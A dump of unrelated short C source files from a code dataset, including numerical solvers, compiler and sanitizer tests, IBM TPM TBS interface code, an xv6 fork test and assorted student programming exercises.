return 1; } return 0; }
the_stack_data/37637838.c
/* * Copyright(C) 1999-2020 National Technology & Engineering Solutions * of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with * NTESS, the U.S. Government retains certain rights in this software. * * See packages/seacas/LICENSE for details */ #include <math.h> // for fabs, sqrt #include <stdio.h> // for printf /* Solve the shifted, symmetric tridiagonal linear system (T - lambda*I)v = b where b is a multiple of e1 (the first column of the identity matrix). T is constructed with diagonal alpha[1], alpha[2] ... alpha[j] and off diagonal beta[1], beta[2] ... beta[j-1]. The algorithm is based on p. 156 of Golub and Van Loan, 2nd ed. Modified this to (1) incorporate shift by lambda, (2) use work vectors rather than overwriting so won't have to copy input as this is called repeatedly in the bisection loop for the extended eigenproblem, and (3) to squawk and die if a pivot below machine precision is encountered and (4) exploit the fact that all elements of the rhs except the first are 0. */ void tri_solve(double *alpha, /* vector of Lanczos scalars */ double *beta, /* vector of Lanczos scalars */ int j, /* system size */ double lambda, /* diagonal shift */ double *v, /* solution vector */ double b, /* scalar multiple of e1 specifying the rhs */ double *d, /* work vec. for diagonal of Cholesky factor */ double *e /* work vec. for off diagonal of Cholesky factor */ ) { extern int DEBUG_EVECS; /* debug flag for eigen computation */ int i; /* loop index */ double tol; /* cutoff for numerical singularity */ double diff; /* an element of the residual vector */ double res; /* the norm of the residual vector */ void bail(); /* our exit routine */ /* set cut-off for "zero" pivot */ tol = 1.0e-15; /* Cholesky factorization of shifted symmetric tridiagonal */ d[1] = alpha[1] - lambda; if (fabs(d[1]) < tol) { bail("ERROR: Zero pivot in tri_solve().", 1); } if (j == 1) { v[1] = b / d[1]; return; /* It's a scalar equation, so we're done. */ } for (i = 2; i <= j; i++) { e[i - 1] = beta[i - 1] / d[i - 1]; d[i] = alpha[i] - lambda - d[i - 1] * e[i - 1] * e[i - 1]; if (fabs(d[i]) < tol) { bail("ERROR: Zero pivot in tri_solve().", 1); } } /* Substitution solution using Cholesky factors */ v[1] = b; for (i = 2; i <= j; i++) { v[i] = -e[i - 1] * v[i - 1]; } v[j] = v[j] / d[j]; for (i = j - 1; i >= 1; i--) { v[i] = v[i] / d[i] - e[i] * v[i + 1]; } /* Check residual */ if (DEBUG_EVECS > 1) { diff = b - ((alpha[1] - lambda) * v[1] + beta[1] * v[2]); res = diff * diff; for (i = 2; i <= j - 1; i++) { diff = beta[i - 1] * v[i - 1] + (alpha[i] - lambda) * v[i] + beta[i] * v[i + 1]; res += diff * diff; } diff = beta[j - 1] * v[j - 1] + (alpha[j] - lambda) * v[j]; res += diff * diff; res = sqrt(res); if (res > 1.0e-13) { printf("Tridiagonal solve residual %g\n", res); } } }
the_stack_data/302548.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_atoi.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: dbreiten <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/11/21 03:18:10 by dbreiten #+# #+# */ /* Updated: 2018/12/02 23:15:29 by dbreiten ### ########.fr */ /* */ /* ************************************************************************** */ static int ft_ndig(long a) { int count; count = 0; if (!a) return (1); while (a) { count++; a = a / 10; } return (count); } int ft_atoi(const char *nptr) { long res; int s; const char *tmp; res = 0; s = 1; while (*nptr == ' ' || (*nptr <= 0xD && *nptr >= 0x9)) nptr++; if (*nptr == '-' && nptr++) s = -1; else if (*nptr == '+') nptr++; while (*nptr == 0x30) nptr++; tmp = nptr; while (*nptr >= 0x30 && *nptr <= 0x39) res = res * 10 + (*nptr++ - 0x30); res = s * (res - 1) + s; if ((res * s < 0 || (nptr - tmp) != ft_ndig(res)) && (nptr - tmp) != 0) { if (s == -1) return (0); return (-1); } return (res); }
the_stack_data/115764715.c
#ifdef CS333_P3 /* This test was created by pdx-cs slack user tango (pretty sure its chris T.) who made this as a modified version of Josh W.'s runTest.c test */ #include "types.h" #include "user.h" #include "uproc.h" void zombietest(void) { int ret = 1; for(int i = 0; i < 10; i++) { if(ret > 0){ printf(1, "Looping process created\n"); ret = fork(); }else{ break; } } if(ret > 0){ printf(1, "PRESS CTRL-Z and CTRL-P TO SHOW LISTS\n"); printf(1, "-------------------------------------\n"); sleep(7*TPS); while(wait() != -1); } if(ret > 0) kill(ret); //for(;;) ret = 2 + 1; // Keeps for a running process } int main(int argc,char *argv[]) { zombietest(); exit(); } #endif
the_stack_data/665741.c
// kernel void spawn() {} void yield() {} void exit() {} void send() {} void accept() {} // graphics void get_framebuffer() {}
the_stack_data/232954928.c
// RUN: %ucc %s -fsyntax-only extern void v; main() { v; }
the_stack_data/103980.c
// RUN: %clang_cc1 -S -g -o %t %s # 1 "a.c" # 1 "a.c" 1 # 1 "<built-in>" 1 # 103 "<built-in>" # 103 "<command line>" 1 # 1 "/private/tmp/a.h" 1 int bar; # 105 "<command line>" 2 # 105 "<built-in>" 2 # 1 "a.c" 2 # 1 "/private/tmp/a.h" 1 int bar; # 2 "a.c" 2 int main() { bar = 0; return 0; }
the_stack_data/83335.c
#include <stdio.h> #include <string.h> long hash(char *word); int main() { char word[200]; scanf("%s", word); printf("%ld", hash(word)); return 0; } long hash(char *word){ int counter; long hash_code = 42; for(counter = 0; counter < strlen(word); counter++){ hash_code += word[counter] * (counter + 1); } return hash_code; }
the_stack_data/1115013.c
/********************************************************************************/ /* */ /* Windows 7,8,10 Device Transmit and Receive Utilities */ /* Written by Ken Goldman */ /* IBM Thomas J. Watson Research Center */ /* $Id: tsstbsi.c 1308 2018-08-21 16:55:56Z kgoldman $ */ /* */ /* (c) Copyright IBM Corporation 2015 - 2018. */ /* */ /* All rights reserved. */ /* */ /* Redistribution and use in source and binary forms, with or without */ /* modification, are permitted provided that the following conditions are */ /* met: */ /* */ /* Redistributions of source code must retain the above copyright notice, */ /* this list of conditions and the following disclaimer. */ /* */ /* Redistributions in binary form must reproduce the above copyright */ /* notice, this list of conditions and the following disclaimer in the */ /* documentation and/or other materials provided with the distribution. */ /* */ /* Neither the names of the IBM Corporation nor the names of its */ /* contributors may be used to endorse or promote products derived from */ /* this software without specific prior written permission. */ /* */ /* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS */ /* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT */ /* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR */ /* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT */ /* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, */ /* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT */ /* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */ /* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY */ /* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */ /* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE */ /* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /********************************************************************************/ #ifdef TPM_WINDOWS_TBSI /* Must copy winerror.h with the TBS error codes to: C:\Program Files\MinGW\include Original obtained from http://sourceforge.net/apps/trac/mingw-w64/browser/experimental/headers_additions_test/include/winerror.h?rev=5328 Link with: Windows 7 c:/progra~1/Micros~2/Windows/v7.1/lib/Tbs.lib Windows 8 tbs.lib */ #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <limits.h> #include <windows.h> #include <winerror.h> #include <specstrings.h> #include <ibmtss/tssresponsecode.h> #include <ibmtss/tssprint.h> #include <ibmtss/tsserror.h> #include <ibmtss/Unmarshal_fp.h> #include "tssproperties.h" #include "tsstbsi.h" /* local prototypes */ static uint32_t TSS_Tbsi_Open( #if defined TPM_WINDOWS_TBSI_WIN7 TBS_CONTEXT_PARAMS *contextParams, #elif defined TPM_WINDOWS_TBSI_WIN8 TBS_CONTEXT_PARAMS2 *contextParams, #endif TBS_HCONTEXT *hContext); static uint32_t TSS_Tbsi_SubmitCommand(TBS_HCONTEXT hContext, uint8_t *responseBuffer, uint32_t *read, const uint8_t *commandBuffer, uint32_t written, const char *message); static void TSS_Tbsi_GetTBSError(const char *prefix, TBS_RESULT rc); /* global configuration */ extern int tssVverbose; extern int tssVerbose; /* TSS_Tbsi_Transmit() transmits the command and receives the response. 'responseBuffer' must be at least MAX_RESPONSE_SIZE bytes. Can return device transmit and receive packet errors, but normally returns the TPM response code. */ TPM_RC TSS_Tbsi_Transmit(TSS_CONTEXT *tssContext, uint8_t *responseBuffer, uint32_t *read, const uint8_t *commandBuffer, uint32_t written, const char *message) { TPM_RC rc = 0; #if defined TPM_WINDOWS_TBSI_WIN7 TBS_CONTEXT_PARAMS contextParams; #elif defined TPM_WINDOWS_TBSI_WIN8 TBS_CONTEXT_PARAMS2 contextParams; #else #error "One of TPM_WINDOWS_TBSI_WIN7 or TPM_WINDOWS_TBSI_WIN8 must be defined" #endif if (rc == 0) { #if defined TPM_WINDOWS_TBSI_WIN7 if (!tssContext->tpm12Command) { if (tssVerbose) printf("TSS_Tbsi_Transmit: TPM 2.0 unsupported\n"); rc = TSS_RC_INSUPPORTED_INTERFACE; } contextParams.version = TBS_CONTEXT_VERSION_ONE; #elif defined TPM_WINDOWS_TBSI_WIN8 contextParams.version = TBS_CONTEXT_VERSION_TWO; if (!tssContext->tpm12Command) { /* TPM 2.0 command */ contextParams.includeTpm12 = 0; contextParams.includeTpm20 = 1; } else { /* TPM 1.2 command */ contextParams.includeTpm12 = 1; contextParams.includeTpm20 = 0; } #endif } *read = MAX_RESPONSE_SIZE; /* open on first transmit */ if (tssContext->tssFirstTransmit) { if (rc == 0) { rc = TSS_Tbsi_Open(&contextParams, &tssContext->hContext); } if (rc == 0) { tssContext->tssFirstTransmit = FALSE; } } /* send the command to the device. Error if the device send fails. */ if (rc == 0) { rc = TSS_Tbsi_SubmitCommand(tssContext->hContext, responseBuffer, read, commandBuffer, written, message); } return rc; } /* TSS_Tbsi_Open() opens the TPM device */ static uint32_t TSS_Tbsi_Open( #if defined TPM_WINDOWS_TBSI_WIN7 TBS_CONTEXT_PARAMS *contextParams, #elif defined TPM_WINDOWS_TBSI_WIN8 TBS_CONTEXT_PARAMS2 *contextParams, #endif TBS_HCONTEXT *hContext) { uint32_t rc = 0; if (rc == 0) { rc = Tbsi_Context_Create(contextParams, hContext); if (tssVverbose) printf("TSS_Tbsi_Open: Tbsi_Context_Create rc %08x\n", rc); if (rc != 0) { if (tssVerbose) TSS_Tbsi_GetTBSError("TSS_Tbsi_Open: Error Tbsi_Context_Create ", rc); rc = TSS_RC_NO_CONNECTION; } } return rc; } /* TSS_Tbsi_Submit_Command sends the command to the TPM and receives the response. If the submit succeeds, returns TPM packet error code. */ static uint32_t TSS_Tbsi_SubmitCommand(TBS_HCONTEXT hContext, uint8_t *responseBuffer, uint32_t *read, const uint8_t *commandBuffer, uint32_t written, const char *message) { uint32_t rc = 0; TPM_RC responseCode; if (message != NULL) { if (tssVverbose) printf("TSS_Tbsi_SubmitCommand: %s\n", message); } if (rc == 0) { if (tssVverbose) TSS_PrintAll("TSS_Tbsi_SubmitCommand: Command", commandBuffer, written); } if (rc == 0) { rc = Tbsip_Submit_Command(hContext, TBS_COMMAND_LOCALITY_ZERO, TBS_COMMAND_PRIORITY_NORMAL, commandBuffer, written, responseBuffer, read); if (rc != 0) { TSS_Tbsi_GetTBSError("Tbsip_Submit_Command", rc); rc = TSS_RC_BAD_CONNECTION; } } if (rc == 0) { if (tssVverbose) TSS_PrintAll("TSS_Tbsi_SubmitCommand: Response", responseBuffer, *read); } /* read the TPM return code from the packet */ if (rc == 0) { uint8_t *bufferPtr; uint32_t size; bufferPtr = responseBuffer + sizeof(TPM_ST) + sizeof(uint32_t); /* skip to responseCode */ size = sizeof(TPM_RC); /* dummy for call */ rc = TSS_UINT32_Unmarshalu(&responseCode, &bufferPtr, &size); } if (rc == 0) { rc = responseCode; } return rc; } TPM_RC TSS_Tbsi_Close(TSS_CONTEXT *tssContext) { TPM_RC rc = 0; if (tssVverbose) printf("TSS_Tbsi_Close: Closing connection\n"); rc = Tbsip_Context_Close(tssContext->hContext); return rc; } static void TSS_Tbsi_GetTBSError(const char *prefix, TBS_RESULT rc) { const char *error_string; switch (rc) { /* error codes from the TBS html docs */ case TBS_SUCCESS: error_string = "The function succeeded."; break; case TBS_E_INTERNAL_ERROR: error_string = "An internal software error occurred."; break; case TBS_E_BAD_PARAMETER: error_string = "One or more parameter values are not valid."; break; case TBS_E_INVALID_OUTPUT_POINTER: error_string = "A specified output pointer is bad."; break; case TBS_E_INVALID_CONTEXT: error_string = "The specified context handle does not refer to a valid context."; break; case TBS_E_INSUFFICIENT_BUFFER: error_string = "The specified output buffer is too small."; break; case TBS_E_IOERROR: error_string = "An error occurred while communicating with the TPM."; break; case TBS_E_INVALID_CONTEXT_PARAM: error_string = "A context parameter that is not valid was passed when attempting to create a " "TBS context."; break; case TBS_E_SERVICE_NOT_RUNNING: error_string = "The TBS service is not running and could not be started."; break; case TBS_E_TOO_MANY_TBS_CONTEXTS: error_string = "A new context could not be created because there are too many open contexts."; break; case TBS_E_TOO_MANY_RESOURCES: error_string = "A new virtual resource could not be created because there are too many open " "virtual resources."; break; case TBS_E_SERVICE_START_PENDING: error_string = "The TBS service has been started but is not yet running."; break; case TBS_E_PPI_NOT_SUPPORTED: error_string = "The physical presence interface is not supported."; break; case TBS_E_COMMAND_CANCELED: error_string = "The command was canceled."; break; case TBS_E_BUFFER_TOO_LARGE: error_string = "The input or output buffer is too large."; break; case TBS_E_TPM_NOT_FOUND: error_string = "A compatible Trusted Platform Module (TPM) Security Device cannot be found " "on this computer."; break; case TBS_E_SERVICE_DISABLED: error_string = "The TBS service has been disabled."; break; case TBS_E_NO_EVENT_LOG: error_string = "The TBS event log is not available."; break; case TBS_E_ACCESS_DENIED: error_string = "The caller does not have the appropriate rights to perform the requested operation."; break; case TBS_E_PROVISIONING_NOT_ALLOWED: error_string = "The TPM provisioning action is not allowed by the specified flags."; break; case TBS_E_PPI_FUNCTION_UNSUPPORTED: error_string = "The Physical Presence Interface of this firmware does not support the " "requested method."; break; case TBS_E_OWNERAUTH_NOT_FOUND: error_string = "The requested TPM OwnerAuth value was not found."; break; /* a few error codes from WinError.h */ case TPM_E_COMMAND_BLOCKED: error_string = "The command was blocked."; break; default: error_string = "unknown error type\n"; break; } printf("%s %s\n", prefix, error_string); return; } #endif /* TPM_WINDOWS */
the_stack_data/859458.c
#include <stdio.h> int main (){ int lines_n, divider, current, i, counter=0; scanf("%d%d", &lines_n, &divider); for(i = 0; i < lines_n; ++i) { scanf("%d", &current); if (!(current%divider)) ++counter; } printf("%d\n", counter); return 0; }
the_stack_data/90762850.c
// Modifies the volume of an audio file #include <stdint.h> #include <stdio.h> #include <stdlib.h> // Number of bytes in .wav header const int HEADER_SIZE = 44; int main(int argc, char *argv[]) { // Check command-line arguments if (argc != 4) { printf("Usage: ./volume input.wav output.wav factor\n"); return 1; } // Open files and determine scaling factor FILE *input = fopen(argv[1], "r"); if (input == NULL) { printf("Could not open file.\n"); return 1; } FILE *output = fopen(argv[2], "w"); if (output == NULL) { printf("Could not open file.\n"); return 1; } float factor = atof(argv[3]); if(!factor) { printf("Could not adjust volume. Please provide a non-zero factor.\n"); return 1; } int c = 0; // TODO: Copy header from input file to output file uint8_t header[HEADER_SIZE]; fread(header, HEADER_SIZE, 1, input); fwrite(header, HEADER_SIZE, 1, output); c++; printf("%i\n", c); // TODO: Read samples from input file and write updated data to output file int16_t buffer[200]; // Close files while (fread(buffer, 200, 2, input) > 0) { for (int i = 0; i < 200; i++) { buffer[i] = buffer[i] * factor; } fwrite(buffer, 200, 2, output); } fclose(input); fclose(output); return 0; }
the_stack_data/44135.c
union u { unsigned char a; double b; }; int a; union u foo (void) { union u b; if (a) b.a = 1; else b.a = 0; return b; }
the_stack_data/63673.c
/*Os juros compostos são recorrentes as varias situações nas nossas vidas, como nos investimentos em aplicações financeiras. O juros pode ser um aliado ou um vilão. É importante dominar os fatores que influenciam o seu cálculo, que são o capital, a taxa de juros, o tempo e o montante. Capital (C): é o primeiro valor investido ou valor inicial da aplicação; Juros (J): é o valor de compensação para o rendimento da aplicação, ou seja, o quanto você recebe ao final da aplicação; Taxa de juros (i): é a porcentagem ganha em cima do capital a cada instante; Tempo (t): é o tempo em que o capital ficará aplicado. Pode ser em dias, meses, etc; Montante (M): é o valor final da aplicação. O juros é obtido subtraindo o montante pelo capital: J = M - C. A formula para calcular o montante é a seguinte: M = C(1 + i)t. Implemente um programa que recebe o capital, taxa de juros (em porcentagem) e tempo e calcule o quanto essa aplicação vai render no final.*/ #include <stdio.h> #include <math.h> void main(){ double capital, taxa, tempo; scanf("%lf %lf %lf", &capital, &taxa, &tempo); //pow(base, expoente) taxa = taxa/100; double mont = capital * (pow(1 + taxa, tempo)); double juros = mont - capital; double rend = (100*mont/capital) - 100; double rendP = taxa * 100 * (tempo - 1); printf("A aplicacao rendeu %.2lf reais que equivale a um rendimento percentual de %.2lf%%.", juros, rend); }
the_stack_data/54824521.c
// Until a -1 is read #include<stdio.h> int main() { int a,s=0; printf("Enter the number : "); scanf("%d",&a); while (a!=-1) { s=s+a; printf("sum = %d\t\tNew value of a = ",s); scanf("%d",&a); } getch(); return 0; }
the_stack_data/193893675.c
// FIXME: https://code.google.com/p/address-sanitizer/issues/detail?id=316 // I'm not sure this is actually *that* issue, but this seems oddly similar to the other XFAIL'ed cases. // XFAIL: android // UNSUPPORTED: ios // All of these don't actually silence it: // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -O0 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -O1 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -O2 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -O3 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: rm -f %tmp // RUN: echo "[implicit-signed-integer-truncation]" >> %tmp // RUN: echo "fun:implicitConversion" >> %tmp // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O0 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O1 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O2 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O3 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: rm -f %tmp // RUN: echo "[implicit-signed-integer-truncation,implicit-integer-sign-change]" >> %tmp // RUN: echo "fun:implicitConversion" >> %tmp // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O0 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O1 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O2 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O3 %s -o %t && not %run %t 2>&1 | FileCheck %s --implicit-check-not="implicit conversion" // The only two way it works: // RUN: rm -f %tmp // RUN: echo "[implicit-integer-sign-change]" >> %tmp // RUN: echo "fun:implicitConversion" >> %tmp // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O0 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O1 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O2 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O3 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: rm -f %tmp // RUN: echo "[implicit-signed-integer-truncation]" >> %tmp // RUN: echo "[implicit-integer-sign-change]" >> %tmp // RUN: echo "fun:implicitConversion" >> %tmp // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O0 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O1 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O2 %s -o %t && not %run %t 2>&1 | not FileCheck %s // RUN: %clang -fsanitize=implicit-signed-integer-truncation,implicit-integer-sign-change -fno-sanitize-recover=implicit-signed-integer-truncation,implicit-integer-sign-change -fsanitize-blacklist=%tmp -O3 %s -o %t && not %run %t 2>&1 | not FileCheck %s #include <stdint.h> int8_t implicitConversion(uint32_t argc) { return argc; // BOOM // CHECK: {{.*}}signed-integer-truncation-or-sign-change-blacklist.c:[[@LINE-1]]:10: runtime error: implicit conversion from type '{{.*}}' (aka 'unsigned int') of value 4294967295 (32-bit, unsigned) to type '{{.*}}' (aka '{{(signed )?}}char') changed the value to -1 (8-bit, signed) } int main(int argc, char **argv) { return implicitConversion(~0U); }
the_stack_data/152640.c
#include <stdio.h> int main() { printf("EOF is %d\n", EOF); }
the_stack_data/1163895.c
#include <stdio.h> int main() { int x = 1; float exp_x; exp_x = 1 + x + (float)x*x/2 + (float)x*x*x/6 + (float)x*x*x*x/24; printf("The value is %f\n",exp_x); return 0; }
the_stack_data/57951051.c
#include <stdio.h> int main(void) { printf("%f", 2309); return 0; }
the_stack_data/398645.c
#include <stdio.h> #include <stdlib.h> #include <time.h> int snakeWaterGun(char you, char comp) { // returns 1 if you win, -1 if you lose and 0 if draw // Condition for draw // Cases // covered: | snake snake | // gun gun | water water if (you == comp) { return 0; } // Non-draw conditions // Cases covered:// snake gun // | gun snake | snake water // | water sanke | gun water | water gun if (you == 's' && comp == 'g') { return -1; } else if (you == 'g' && comp == 's') { return 1; } if (you == 's' && comp == 'w') { return 1; } else if (you == 'w' && comp == 's') { return -1; } if (you == 'g' && comp == 'w') { return -1; } else if (you == 'w' && comp == 'g') { return 1; } } // Driver Code int main() { char you, comp; srand(time(0)); int number = rand() % 100 + 1; if (number < 33) { comp = 's'; } else if (number > 33 && number < 66) { comp = 'w'; } else { comp = 'g'; } printf("Enter 's' for snake, 'w' for " "water and 'g' for gun\n"); scanf("%c", &you); int result = snakeWaterGun(you, comp); if (result == 0) { printf("Game draw!\n"); } else if (result == 1) { printf("You win!\n"); } else { printf("You Lose!\n"); } printf("You chose %c and computer chose %c. ", you, comp); return 0; }
the_stack_data/1180308.c
/* * fdc.c * * Created on: Jan 14, 2017 * Author: chrisn */ /** * init fdc module */ void initFDC(){ //todo }
the_stack_data/902536.c
#define _POSIX_C_SOURCE 200809L #include "stdlib.h" #include "math.h" #include "sys/time.h" #include "omp.h" struct dataobj { void *restrict data; int * size; int * npsize; int * dsize; int * hsize; int * hofs; int * oofs; } ; struct profiler { double section0; } ; int padfunc(struct dataobj *restrict vp_vec, const int x_M, const int y_M, const int abc_x_l_ltkn, const int abc_x_r_rtkn, const int abc_y_l_ltkn, const int abc_y_r_rtkn, struct profiler * timers, const int x_m, const int y_m) { float (*restrict vp)[vp_vec->size[1]] __attribute__ ((aligned (64))) = (float (*)[vp_vec->size[1]]) vp_vec->data; #pragma omp target enter data map(to: vp[0:vp_vec->size[0]][0:vp_vec->size[1]]) struct timeval start_section0, end_section0; gettimeofday(&start_section0, NULL); /* Begin section0 */ for (int abc_x_l = x_m; abc_x_l <= abc_x_l_ltkn + x_m - 1; abc_x_l += 1) { #pragma omp target teams distribute parallel for collapse(1) for (int y = y_m; y <= y_M; y += 1) { vp[abc_x_l + 6][y + 6] = vp[46][y + 6]; } } for (int abc_x_r = -abc_x_r_rtkn + x_M + 1; abc_x_r <= x_M; abc_x_r += 1) { #pragma omp target teams distribute parallel for collapse(1) for (int y = y_m; y <= y_M; y += 1) { vp[abc_x_r + 6][y + 6] = vp[x_M - 34][y + 6]; } } #pragma omp target teams distribute parallel for collapse(1) for (int x = x_m; x <= x_M; x += 1) { for (int abc_y_l = y_m; abc_y_l <= abc_y_l_ltkn + y_m - 1; abc_y_l += 1) { vp[x + 6][abc_y_l + 6] = vp[x + 6][46]; } for (int abc_y_r = -abc_y_r_rtkn + y_M + 1; abc_y_r <= y_M; abc_y_r += 1) { vp[x + 6][abc_y_r + 6] = vp[x + 6][y_M - 34]; } } /* End section0 */ gettimeofday(&end_section0, NULL); timers->section0 += (double)(end_section0.tv_sec-start_section0.tv_sec)+(double)(end_section0.tv_usec-start_section0.tv_usec)/1000000; #pragma omp target update from(vp[0:vp_vec->size[0]][0:vp_vec->size[1]]) #pragma omp target exit data map(release: vp[0:vp_vec->size[0]][0:vp_vec->size[1]]) return 0; }
the_stack_data/31768.c
#include <stdio.h> int printArray(int array[], int n) { for (int i = 0; i < n - 1; i++) { printf("%d ", array[i]); } printf("\n\n"); } int main(){ int arr[] = {7,98,79,-2,8,98,7,-7,4,54,87,8,45,9}; int n = ((sizeof arr) /( sizeof arr[0])); printf("before sorting: \n"); printArray(arr, n); for (int i = 1; i < n-1; i++) { while (arr[i] < arr[i-1] && i-1 >= 0) { int temp = arr[i-1]; arr[i-1] = arr[i]; arr[i] = temp; i--; } } printf("bafter sorting: \n"); printArray(arr, n); }
the_stack_data/82949016.c
//C program to check odd or even without using bitwise or modulus operator #include <stdio.h> int main() { int n; printf("Enter an integer\n"); scanf("%d", &n); if ((n/2)*2 == n) printf("Even\n"); else printf("Odd\n"); return 0; }
the_stack_data/477408.c
#include <stdio.h> #include <assert.h> int alertFailureCount = 0; int networkAlertStub(float celcius) { printf("ALERT: Temperature is %.1f celcius.\n", celcius); // Return 200 for ok // Return 500 for not-ok // stub always succeeds and returns 200 if(celcius >200) return 500; else return 200; } float farenheitToCelcius(float farenheit) { float celcius = (farenheit - 32) * 5 / 9; return celcius; } void alertInCelcius(float farenheit,float (*fpFarenheitToCelcius)(float),int (*fpnetworkAlertStub)(float)) { float celcius = fpFarenheitToCelcius(farenheit); int returnCode = fpnetworkAlertStub(celcius); if (returnCode != 200) { // non-ok response is not an error! Issues happen in life! // let us keep a count of failures to report // However, this code doesn't count failures! // Add a test below to catch this bug. Alter the stub above, if needed. alertFailureCount += 1; } } int main() { alertInCelcius(400.5,&farenheitToCelcius,&networkAlertStub); float returnValue = farenheitToCelcius(400.5); assert((int)returnValue == 204); assert(alertFailureCount == 1); alertInCelcius(303.6,&farenheitToCelcius,&networkAlertStub); returnValue = farenheitToCelcius(303.6); assert((int)returnValue == 150); assert(alertFailureCount == 1); alertInCelcius(500,&farenheitToCelcius,&networkAlertStub); returnValue = farenheitToCelcius(500); assert(returnValue == 260); assert(alertFailureCount == 2); printf("%d alerts failed.\n", alertFailureCount); printf("All is well (Yes it is! :> )\n"); return 0; }
the_stack_data/95451159.c
